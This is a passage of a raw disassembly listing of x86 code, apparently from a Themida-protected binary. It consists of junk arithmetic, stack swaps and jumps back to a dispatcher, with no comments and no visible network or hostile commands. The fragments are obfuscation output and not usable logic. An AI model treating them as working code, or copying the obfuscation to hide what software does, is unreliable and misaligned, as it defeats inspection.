or esi, 2EAA733Fh
sub esi, 0C7EE07FBh
add edi, esi
pop esi
add eax, edi
pop edi
push edx
mov edx, 6BEA7E78h
add edx, 38397495h
dec edx
shl edx, 5
inc edx
sub edx, 5B614AC6h
sub edx, 291D16B9h
add eax, edx
jmp loc_55B67A
; ---------------------------------------------------------------------------
loc_55ADD4: ; CODE XREF: sub_556A70-56E0j
pop cx
jmp loc_55AE44
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55ADDB: ; CODE XREF: Themida_:0055B0FEj
xor ebp, 3F369554h
mov esi, ebp
pop ebp
add edx, esi
jmp loc_5570BA
; ---------------------------------------------------------------------------
db 89h
; ---------------------------------------------------------------------------
and al, 24h
add dword ptr [esp], 4
pop ecx
jmp loc_55BF0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55ADF8: ; CODE XREF: sub_556A70+D8Fj
sub ebx, 4
jmp loc_557BB6
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AE03: ; CODE XREF: Themida_:0055C245j
add al, cl
pop ecx
sub al, 0E7h
sub al, bl
add al, 0E7h
jmp loc_55B3D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AE11: ; CODE XREF: sub_556A70+390j
add ecx, 6F6B1CE6h
pop edx
xor ecx, [esp-1Eh+arg_18+2]
xor [esp-1Eh+arg_18+2], ecx
xor ecx, [esp-1Eh+arg_18+2]
pop esp
movzx eax, al
mov dx, word ptr [esp-22h+arg_1C+2]
jmp loc_55BAD6
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AE2E: ; CODE XREF: Themida_:00551146j
mov eax, 4
add ebx, eax
jmp loc_5538E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AE3A: ; CODE XREF: sub_556A70+731j
mov esi, 0F7E3236h
jmp loc_55518A
; ---------------------------------------------------------------------------
loc_55AE44: ; CODE XREF: sub_556A70+4366j
add ah, 0DDh
sub bl, ah
jmp loc_55B800
; ---------------------------------------------------------------------------
loc_55AE4E: ; CODE XREF: sub_556A70+3C0Ej
push [esp-4+arg_0]
jmp loc_559E82
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AE56: ; CODE XREF: Themida_:00554E28j
push 46D8h
mov [esp], ebx
push ecx
mov cl, 0Dh
not cl
jmp loc_558D07
; =============== S U B R O U T I N E =======================================
sub_55AE68 proc near ; CODE XREF: sub_5584F8-6179j
; FUNCTION CHUNK AT 00555E87 SIZE 00000011 BYTES
push ebx
jmp loc_555E87
sub_55AE68 endp
; =============== S U B R O U T I N E =======================================
sub_55AE6E proc near ; CODE XREF: sub_556A70-3E76j
var_4 = word ptr -4
arg_2 = dword ptr 6
; FUNCTION CHUNK AT 0055499E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005555AE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055851C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055984A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00559AA3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055B226 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055CAE5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055CCAA SIZE 00000010 BYTES
push ebx
jmp loc_55CCAA
sub_55AE6E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_55AE74: ; CODE XREF: Themida_:0055A56Bj
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xchg edi, [esp]
pop esp
btc [esp], ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55AE94: ; CODE XREF: Themida_:00557BFFj
sub edi, 75E114Ch
inc edi
sub edi, 0F2517252h
jmp loc_55B319
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AEA6: ; CODE XREF: sub_556A70+5B12j
mov eax, 193779DDh
add eax, 5C7E776Eh
not eax
or eax, 73395F2Bh
push edi
jmp loc_55BD86
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov edx, [esp]
push 4559h
mov [esp], ebx
mov ebx, esp
jmp loc_55675E
; ---------------------------------------------------------------------------
loc_55AECF: ; CODE XREF: Themida_:005599FFj
mov edi, [esp]
add esp, 4
neg esi
sub esi, 1E147DECh
xor esi, 5FAD0B11h
jmp loc_55B718
; ---------------------------------------------------------------------------
loc_55AEE8: ; CODE XREF: Themida_:005598E7j
pop edi
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_5562AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AEF7: ; CODE XREF: sub_556A70-22Fj
mov ebx, [esp+0Ch+var_C]
jmp loc_55CC98
; ---------------------------------------------------------------------------
loc_55AEFF: ; CODE XREF: sub_556A70-39ACj
not edi
push ebp
mov ebp, 58676783h
shr ebp, 8
jmp loc_5547D8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AF0F: ; CODE XREF: Themida_:00557BF3j
mov [esp], ebx
mov bh, 0AEh
jmp loc_55344C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AF19: ; CODE XREF: sub_556A70-5279j
add ebx, esi
jmp loc_556ACE
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
push 0CEBh
mov [esp], ecx
push 73CEh
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_552530
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
sub esp, 4
push 45D4h
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_55C24A
; ---------------------------------------------------------------------------
loc_55AF6B: ; CODE XREF: Themida_:00551BCAj
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_553959
; ---------------------------------------------------------------------------
loc_55AF79: ; CODE XREF: Themida_:0055AA2Cj
sub edi, eax
pop eax
push edi
add dword ptr [esp], 765C6D91h
pop edx
sub edx, 765C6D91h
jmp loc_55533E
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
jmp loc_555ECD
; ---------------------------------------------------------------------------
loc_55AF99: ; CODE XREF: Themida_:00553DC0j
add ebx, esi
pop esi
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
xor [esp], eax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5561E2
; ---------------------------------------------------------------------------
mov cx, [esp]
push 0E7h
jmp loc_55C208
; ---------------------------------------------------------------------------
loc_55AFD0: ; CODE XREF: Themida_:00551223j
shr edx, 1
neg edx
sub edx, 5A75CF8Bh
sub ebx, edx
pop edx
jmp loc_557FC6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_55AFE2: ; CODE XREF: sub_5516F8+752Ej
add edi, 7E88325Dh
add edi, 81C0A6Eh
add edi, 70E55308h
std
jmp sub_557F09
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
loc_55AFFA: ; CODE XREF: Themida_:005558EEj
push edx
mov dh, 2Ch
push ebx
push ecx
jmp loc_55C5AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553651
loc_55B004: ; CODE XREF: sub_553651-1958j
and eax, edx
push [esp+8+var_8]
pop edx
sub esp, 4
mov [esp+0Ch+var_C], ebx
mov ebx, esp
add ebx, 4
push 4B64h
mov [esp+10h+var_10], eax
jmp loc_556447
; END OF FUNCTION CHUNK FOR sub_553651
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B028: ; CODE XREF: sub_556A70+25j
add ebp, ecx
pop ecx
jmp loc_557180
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55227F
loc_55B030: ; CODE XREF: sub_55227F+2E75j
add esp, 4
jmp sub_5565AD
; END OF FUNCTION CHUNK FOR sub_55227F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B03B: ; CODE XREF: sub_556A70+41Fj
mov cx, si
pop esi
jmp loc_55BC6C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B044: ; CODE XREF: Themida_:00558DA3j
pop edx
mov ebx, [esp]
add esp, 4
shl al, 2
jmp loc_55BC06
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A704
loc_55B053: ; CODE XREF: sub_55A704+10j
push esi
push 102B66ACh
mov esi, [esp+4+var_4]
add esp, 4
sub eax, 687E111Bh
sub eax, 25D62919h
add eax, esi
push edx
mov edx, 25D62919h
add eax, edx
pop edx
add eax, 687E111Bh
push dword ptr [esp+0]
pop esi
push esi
mov esi, esp
add esi, 4
jmp loc_556F7F
; END OF FUNCTION CHUNK FOR sub_55A704
; ---------------------------------------------------------------------------
loc_55B08E: ; CODE XREF: Themida_:0055C0DDj
add ecx, ebx
pop ebx
sub esp, 4
mov [esp], ebx
push ebp
mov ebp, 51B852C4h
mov ebx, 0AE47AD40h
add ebx, ebp
pop ebp
sub ecx, 3F7B0893h
sub ecx, 7B327DD0h
add ecx, ebx
add ecx, 7B327DD0h
jmp loc_557174
; ---------------------------------------------------------------------------
loc_55B0C1: ; CODE XREF: Themida_:005583D0j
mov ah, 0DCh
jmp loc_550DD8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552E24
loc_55B0C8: ; CODE XREF: sub_552E24+9D0Dj
add ebx, 5C720FE2h
dec ebx
and ebx, 775570F1h
neg ebx
sub ebx, 4BA1A6D3h
and ebp, ebx
pop ebx
jmp loc_550ED1
; END OF FUNCTION CHUNK FOR sub_552E24
; ---------------------------------------------------------------------------
loc_55B0E5: ; CODE XREF: Themida_:00559513j
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_5542BF
; ---------------------------------------------------------------------------
loc_55B0F1: ; CODE XREF: Themida_:0055838Cj
xchg esi, [esp]
mov esp, [esp]
add ebp, 1D644CA0h
inc ebp
jmp loc_55ADDB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B103: ; CODE XREF: sub_556A70+2CBj
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55B108: ; CODE XREF: sub_556A70-4E39j
not ebp
push eax
mov eax, 16511FBDh
or ebp, eax
mov eax, [esp+0Ch+var_C]
jmp loc_5584EA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55B11A: ; CODE XREF: sub_5584F8+1C2Ej
pop esi
or ebp, eax
pop eax
shl ebp, 5
add ebp, 0D95BEA5Ah
add eax, ebp
mov ebp, [esp+0]
jmp loc_55B2BA
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B131: ; CODE XREF: sub_556A70+19C5j
push eax
jmp loc_55A556
; ---------------------------------------------------------------------------
loc_55B137: ; CODE XREF: sub_556A70+F34j
pop ebx
jmp loc_553C5D
; ---------------------------------------------------------------------------
loc_55B13D: ; CODE XREF: sub_556A70+7B1j
push ecx
mov ecx, 3DB07A2Ah
sub eax, ecx
jmp loc_55BCDE
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B14A: ; CODE XREF: Themida_:00553754j
xchg edi, [esp]
pop esp
jmp loc_55877E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B153: ; CODE XREF: sub_556A70+42A3j
push 1FB4h
mov [esp-2Ah+arg_24+2], esi
push esp
pop esi
add esi, 4
add esi, 4
push esi
push [esp-26h+arg_24+2]
mov esi, [esp-22h+arg_1C+2]
add esp, 4
pop [esp-26h+arg_20+2]
mov esp, [esp-2Ah+arg_24+2]
sub ebx, 513922F2h
add ebx, eax
add ebx, 513922F2h
jmp loc_558673
; ---------------------------------------------------------------------------
loc_55B190: ; CODE XREF: sub_556A70-14F3j
push 0E1C195Eh
pop edi
jmp loc_557D8B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B19B: ; CODE XREF: Themida_:00559D3Fj
pop eax
pop dword ptr [esp]
pop esp
xchg edi, [esp]
mov esp, [esp]
push dword ptr [esp]
pop edx
push 71B4h
mov [esp], ebp
jmp loc_556B09
; ---------------------------------------------------------------------------
loc_55B1B7: ; CODE XREF: Themida_:0055CE09j
push 2
mov eax, [esp]
add esp, 4
add ebx, 0AEF6B90h
sub ebx, 185C2529h
add ebx, eax
add ebx, 185C2529h
sub ebx, 0AEF6B90h
jmp loc_55CF3C
; ---------------------------------------------------------------------------
loc_55B1E1: ; CODE XREF: Themida_:005513E6j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_55C342
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_55B1EF: ; CODE XREF: sub_5566B9+2415j
pop ebp
add eax, ebp
sub esp, 4
mov [esp+10h+var_10], edx
mov edx, 6C665D18h
sub eax, edx
mov edx, [esp+10h+var_10]
jmp loc_5531FF
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
loc_55B207: ; CODE XREF: Themida_:00558800j
push 0A390702h
jmp loc_556F3B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B211: ; CODE XREF: sub_556A70-1EBBj
mov esi, esp
add esi, 4
push eax
mov eax, 4
add esi, eax
jmp loc_559C5A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AE6E
loc_55B226: ; CODE XREF: sub_55AE6E+1C7Bj
push edx
not byte ptr [esp+0]
pop edx
sub esp, 2
mov [esp+0], bx
jmp loc_5555AE
; END OF FUNCTION CHUNK FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B23A: ; CODE XREF: sub_556A70+2437j
or eax, eax
jz loc_556BFD
push 726Eh
jmp loc_551486
; ---------------------------------------------------------------------------
loc_55B24C: ; CODE XREF: sub_556A70+5947j
push dword ptr [edi+24h]
sub esp, 4
jmp loc_5590F6
; ---------------------------------------------------------------------------
loc_55B257: ; CODE XREF: sub_556A70+2611j
sub eax, 21FC43EDh
add edx, 5C2B44DCh
sub edx, eax
sub edx, 5C2B44DCh
pop eax
xchg edx, [esp-4+arg_0]
jmp loc_551FE8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B273: ; CODE XREF: Themida_:0055A010j
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_555AFD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559D5E
loc_55B27F: ; CODE XREF: sub_559D5E+Fj
sub edi, ebx
add edi, 167313EEh
push [esp+4+var_4]
pop ebx
push eax
mov eax, esp
jmp loc_55546E
; END OF FUNCTION CHUNK FOR sub_559D5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B293: ; CODE XREF: sub_556A70-529Cj
push edx
mov edx, esp
push ebx
mov ebx, 33645C27h
and ebx, 9722B0h
and ebx, 558B730Eh
dec ebx
and ebx, 6D5163F9h
add ebx, 92AE9C0Bh
jmp loc_551530
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55B2BA: ; CODE XREF: sub_5584F8+2C34j
push edx
mov edx, esp
push ecx
mov ecx, 4
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
and ecx, eax
jmp loc_550A52
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_55B2D7: ; CODE XREF: Themida_:00550B35j
mov edx, [esp]
jmp loc_55B518
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B2DF: ; CODE XREF: sub_556A70+27E5j
push edx
jmp loc_554C98
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_55B2E5: ; CODE XREF: sub_5566B9-3909j
add esp, 4
sub esp, 4
mov [esp+10h+var_10], ecx
mov ecx, 4
add ebx, ecx
pop ecx
jmp loc_552021
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B2FB: ; CODE XREF: sub_556A70+58Cj
mov ecx, 7BAB049Ch
jmp loc_5558D1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55B305: ; CODE XREF: sub_5584F8+74Ej
mov esp, [esp-4+arg_0]
sub esp, 4
jmp loc_5551E3
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_55B313: ; CODE XREF: Themida_:00557B83j
inc eax
jmp loc_553EBC
; ---------------------------------------------------------------------------
loc_55B319: ; CODE XREF: Themida_:0055AEA1j
push edi
jmp loc_558099
; ---------------------------------------------------------------------------
loc_55B31F: ; CODE XREF: Themida_:00553D8Fj
add bh, 2Bh
add bh, 30h
mov dl, bh
jmp loc_555983
; ---------------------------------------------------------------------------
loc_55B32C: ; CODE XREF: Themida_:0055C42Fj
add esp, 4
jmp loc_551228
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B403
loc_55B337: ; CODE XREF: sub_55B403+1j
mov ebp, 2
mov ebx, ebp
mov ebp, [esp+4+var_4]
add esp, 4
add ebp, 60124645h
add ebp, ebx
push edi
mov edi, 60124645h
sub ebp, edi
jmp loc_5546FA
; END OF FUNCTION CHUNK FOR sub_55B403
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B359: ; CODE XREF: sub_556A70-2C8Aj
add eax, 68D66F2Dh
jmp loc_555219
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55B363: ; CODE XREF: sub_5584F8-4F23j
xor esi, 6E609B9h
mov eax, esi
pop esi
dec eax
add eax, 1
sub esp, 4
mov [esp+0], ebp
mov ebp, 22F453E0h
jmp loc_554BD1
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B380: ; CODE XREF: sub_556A70+2B47j
xor ebx, [esp-8+arg_4]
xor [esp-8+arg_4], ebx
xor ebx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
bt word ptr [esp-8+arg_4], ax
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B397: ; CODE XREF: Themida_:0055131Dj
pop dx
and cl, bl
mov ebx, [esp]
add esp, 4
sub cl, 9Ah
add al, cl
mov ecx, [esp]
add esp, 4
push 87Dh
mov [esp], ecx
mov ch, 20h
jmp loc_558758
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55B3BE: ; CODE XREF: sub_5584F8-7A1Ej
mov esi, esp
jmp loc_551426
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B3C5: ; CODE XREF: sub_556A70+6335j
add esi, edi
pop edi
add esi, 2
xchg esi, [esp-8+arg_4]
jmp loc_55BC0D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B3D6: ; CODE XREF: Themida_:0055AE0Cj
sub al, 0F0h
push ebx
push ecx
mov ch, 0E0h
mov bh, 32h
xor bh, ch
pop ecx
shr bh, 1
xor bh, 76h
push small 194Ch
mov [esp], bx
not byte ptr [esp+1]
pop bx
inc bh
add bh, 6Fh
push cx
push edx
mov dl, bh
jmp loc_550A75
; =============== S U B R O U T I N E =======================================
sub_55B403 proc near ; CODE XREF: sub_55C2FC+6j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005546FA SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00555B4A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559DCE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055AC37 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B337 SIZE 00000022 BYTES
push ebp
jmp loc_55B337
sub_55B403 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551E74
loc_55B409: ; CODE XREF: sub_551E74+76A5j
mov ecx, 7F481A35h
sub ebx, ecx
pop ecx
pop dword ptr [eax]
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_551E74
; ---------------------------------------------------------------------------
loc_55B418: ; CODE XREF: Themida_:00554120j
sub al, 0DEh
push cx
jmp loc_55604D
; ---------------------------------------------------------------------------
loc_55B421: ; CODE XREF: Themida_:00551EBAj
pop edx
xchg edi, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ecx
push 923h
mov [esp], ecx
mov ecx, esp
jmp loc_55C0C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55B43B: ; CODE XREF: sub_5584F8-70CCj
add esi, 4
xchg esi, [esp+0]
mov esp, [esp+0]
push 4CC2h
mov [esp+4+var_4], edi
mov edi, esp
add edi, 4
add edi, 4
push 15FFh
jmp loc_5596E7
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B464: ; CODE XREF: sub_556A70-3EC4j
shr ebp, 8
add ebp, 39406E95h
sub edi, ebp
pop ebp
and eax, edi
push [esp-8+arg_4]
mov edi, [esp-4+arg_0]
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp-4+arg_0]
pop esp
or eax, eax
jz loc_5571F0
push eax
jmp loc_55B66B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B49C: ; CODE XREF: Themida_:00556A06j
shr edx, 6
sub edx, 0FFFFFFFFh
sub edx, 6F0A1295h
add edx, 6D55D957h
add eax, edx
jmp loc_55C943
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F2D
loc_55B4B5: ; CODE XREF: sub_559F2D+267Cj
push ecx
mov ecx, 29CA2F77h
push edx
mov edx, 79900669h
sub edx, 4FC5D6F6h
xor ecx, edx
pop edx
add edx, ecx
pop ecx
xchg edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
push edx
mov dl, 3Ch
sub bl, dl
pop edx
sub bl, al
push ecx
push eax
jmp sub_55A9A4
; END OF FUNCTION CHUNK FOR sub_559F2D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555B85
loc_55B4E2: ; CODE XREF: sub_555B85+3BD1j
xchg ebx, [esp+0]
mov esp, [esp+0]
jmp sub_5566B9
; END OF FUNCTION CHUNK FOR sub_555B85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B4ED: ; CODE XREF: sub_556A70+212Bj
mov esi, ecx
pop ecx
add esi, 2C801B80h
jmp loc_550DFA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
push esp
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_55BC76
; ---------------------------------------------------------------------------
lodsb
push edx
push eax
push ebx
mov bl, 88h
jmp loc_558D9B
; ---------------------------------------------------------------------------
loc_55B518: ; CODE XREF: Themida_:0055B2DAj
add esp, 4
add edx, 4
jmp loc_552709
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B529: ; CODE XREF: sub_556A70+3EC7j
sub edi, esi
pop esi
sub ebx, 1B496FABh
sub ebx, edi
add ebx, 1B496FABh
mov edi, [esp+8+var_8]
add esp, 4
add ebx, 7EF55A35h
sub ebx, 1A3436ADh
jmp loc_55CE67
; ---------------------------------------------------------------------------
loc_55B554: ; CODE XREF: sub_556A70+8CAj
shl ebx, 1
sub ebx, 904E666Eh
add edx, 72EB2434h
sub edx, ebx
push edi
mov edi, 58D40890h
or edi, 5A563EBDh
not edi
or edi, 215169B4h
sub edi, 9511234h
or edi, 2D8B2BEDh
jmp sub_555903
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55B591: ; CODE XREF: Themida_:00553F46j
or ebx, 72503706h
xor ebx, 4A3C7C7Ah
push ebp
mov ebp, 1A164FF3h
xor ebx, ebp
jmp loc_55CF6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B5AA: ; CODE XREF: sub_556A70+4DC6j
mov [esp+10h+var_10], ebx
push 28700087h
jmp loc_55A0C8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B5B7: ; CODE XREF: Themida_:0055B78Bj
sub edx, 62945705h
add edx, eax
add edx, 62945705h
pop eax
push ebx
mov ebx, 4
jmp loc_55986F
; ---------------------------------------------------------------------------
loc_55B5D1: ; CODE XREF: Themida_:00553F16j
mov ebp, [esp]
add esp, 4
not edx
shr edx, 6
shl edx, 5
sub edx, 47074883h
push ebp
mov ebp, 179107Eh
sub edx, ebp
jmp loc_550CEC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B5F5: ; CODE XREF: sub_556A70-676j
sub esi, 67F357D5h
mov edi, [esp-1Eh+arg_18+2]
jmp loc_5527CB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
lodsb
push ecx
push ebx
push edx
mov dh, 39h
mov bl, 42h
jmp loc_55B6D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B610: ; CODE XREF: sub_556A70+B7j
mov ebx, 4ECC21B7h
mov ebp, 3B791F33h
xor ebp, ebx
pop ebx
shr ebp, 4
push edx
mov edx, 5FB64A16h
jmp loc_559B53
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B62B: ; CODE XREF: Themida_:0055182Cj
pop eax
jmp loc_55172C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552634
loc_55B631: ; CODE XREF: sub_552634+1A4Bj
shr esi, 2
jmp loc_550E1B
; END OF FUNCTION CHUNK FOR sub_552634
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558D0E
loc_55B639: ; CODE XREF: sub_558D0E-870j
mov edi, ebp
mov ebp, [esp+0]
jmp loc_556DD1
; END OF FUNCTION CHUNK FOR sub_558D0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B643: ; CODE XREF: sub_556A70+1004j
push 2951h
mov [esp-0Ah+arg_4+2], ebp
push [esp-0Ah+arg_8+2]
push [esp-6+arg_0+2]
pop ebp
jmp loc_555844
; ---------------------------------------------------------------------------
loc_55B658: ; CODE XREF: sub_556A70+35EDj
add esi, ebx
mov ebx, [esp+4+var_4]
add esp, 4
sub esi, 4
xor esi, [esp+0]
jmp loc_55823F
; ---------------------------------------------------------------------------
loc_55B66B: ; CODE XREF: sub_556A70+4A27j
mov eax, 1Ch
sub eax, 585E7215h
jmp loc_55C1FE
; ---------------------------------------------------------------------------
loc_55B67A: ; CODE XREF: sub_556A70+435Fj
pop edx
xchg eax, [esp-1Eh+arg_18+2]
mov esp, [esp-1Eh+arg_18+2]
mov fs:[edx], ax
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55B68A: ; CODE XREF: sub_556A70-1A64j
pop ecx
pop eax
push 3045h
mov [esp-28h+arg_24], esi
pop eax
push [esp-2Ch+arg_28]
pop esi
push ecx
jmp loc_55705C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557F09
loc_55B69F: ; CODE XREF: sub_557F09+23j
pop ebp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
jmp loc_55C157
; END OF FUNCTION CHUNK FOR sub_557F09
; ---------------------------------------------------------------------------
loc_55B6B5: ; CODE XREF: Themida_:005563B7j
push ecx
mov cl, 9Bh
and cl, 0BCh
jmp loc_55BE2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5567EA
loc_55B6C0: ; CODE XREF: sub_5567EA+Fj
pop esp
mov [esp+0], ebx
push edx
push 0B671CEFh
pop edx
jmp loc_5513F2
; END OF FUNCTION CHUNK FOR sub_5567EA
; ---------------------------------------------------------------------------
loc_55B6D0: ; CODE XREF: Themida_:0055B60Bj
xor bl, dh
pop edx
jmp loc_559269
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B6D8: ; CODE XREF: sub_556A70-2DB9j
mov esi, 1F0C7A18h
sub esi, ebx
pop ebx
and eax, esi
push [esp-4+arg_0]
